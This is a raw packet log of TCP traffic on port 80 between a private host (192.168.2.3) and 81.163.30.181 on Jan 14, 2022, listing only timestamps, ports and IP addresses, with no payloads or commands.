Jan 14, 2022 20:23:50.239768028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239793062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239830017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.296904087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.296950102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.296968937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.296988010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297005892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297023058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297040939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297058105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297071934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297075033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297094107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297112942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297138929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297158957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297172070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297184944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297199011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297215939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297234058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297247887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297267914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297271013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297277927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297286034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297303915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297307968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297323942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297339916 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297343016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297359943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297370911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297378063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297396898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297406912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297415018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297432899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297432899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297451019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297470093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297482014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297488928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297507048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297507048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297525883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297543049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297547102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297559977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297576904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297595024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297600031 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297612906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297631025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297646999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297653913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297665119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297672987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297683954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297699928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297705889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297719002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297724962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297739029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297755957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297768116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297772884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297791004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.297806025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.297840118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.354713917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.354794979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.354846001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.354888916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.354921103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.354935884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.354953051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.354976892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355021000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355038881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355082989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355130911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355176926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355185986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355201960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355220079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355226040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355249882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355273962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355277061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355298042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355319023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355321884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355346918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355370998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355395079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355396986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355417013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355441093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355441093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355464935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355468988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355492115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355515003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355516911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355539083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355557919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355561972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355588913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355612993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355633974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355635881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355664015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355674028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355688095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355710030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355712891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355735064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355751038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355760098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355784893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355807066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355808020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355832100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355849028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355855942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355881929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355906963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355926037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355932951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355958939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.355959892 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.355983973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.356009007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.356010914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.356033087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.356054068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.356057882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.356082916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.356101990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.356106043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.358032942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.417980909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418299913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418344021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418371916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418395042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418423891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418426991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418458939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418483973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418508053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418514013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418521881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418533087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418539047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418560028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418579102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418591022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418642998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418668032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418690920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418715954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418739080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418762922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418767929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418787003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418808937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418811083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418836117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418837070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418862104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418886900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418886900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418914080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418934107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.418939114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418962955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.418987036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419012070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419019938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419045925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419049025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419070959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419095039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419095993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419121981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419141054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419150114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419173956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419198036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419208050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419222116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419245958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419255972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419270992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419292927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419295073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419320107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419343948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419353962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419367075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419390917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419390917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419414997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419431925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419440985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419466019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419491053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419514894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419517994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419539928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419567108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419568062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419591904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419596910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419620037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419645071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419658899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419668913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419692039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419694901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419719934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419744015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419744968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419770002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419781923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419794083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419805050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419820070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419845104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419846058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.419869900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419893980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419920921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419941902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419962883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.419985056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420008898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420008898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420020103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420025110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420032978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420033932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420057058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420075893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420080900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420106888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420131922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420136929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420170069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420202971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420226097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420245886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420249939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420274973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420298100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420320034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420322895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420345068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420350075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420373917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420398951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420408964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420423031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420444965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420449018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420474052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420496941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420521021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420533895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420545101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420561075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420569897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420595884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420617104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420619011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420643091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420653105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420677900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420702934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420726061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420734882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420752048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.420758963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.420798063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.421088934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.477705002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477730036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477746964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477770090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477787971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477804899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477822065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477840900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477849007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.477871895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477895021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477914095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477931023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477931023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.477947950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477955103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.477967978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.477987051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478003979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478010893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478020906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478030920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478049994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478058100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478069067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478087902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478101969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478106976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478126049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478147030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478161097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478168964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478187084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478200912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478216887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478218079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478236914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478238106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478255033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478266001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478276014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478290081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478298903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478316069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478333950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478349924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478367090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478369951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478379011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478384018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478399038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478406906 CET	80	49866	81.163.30.181	192.168.2.3
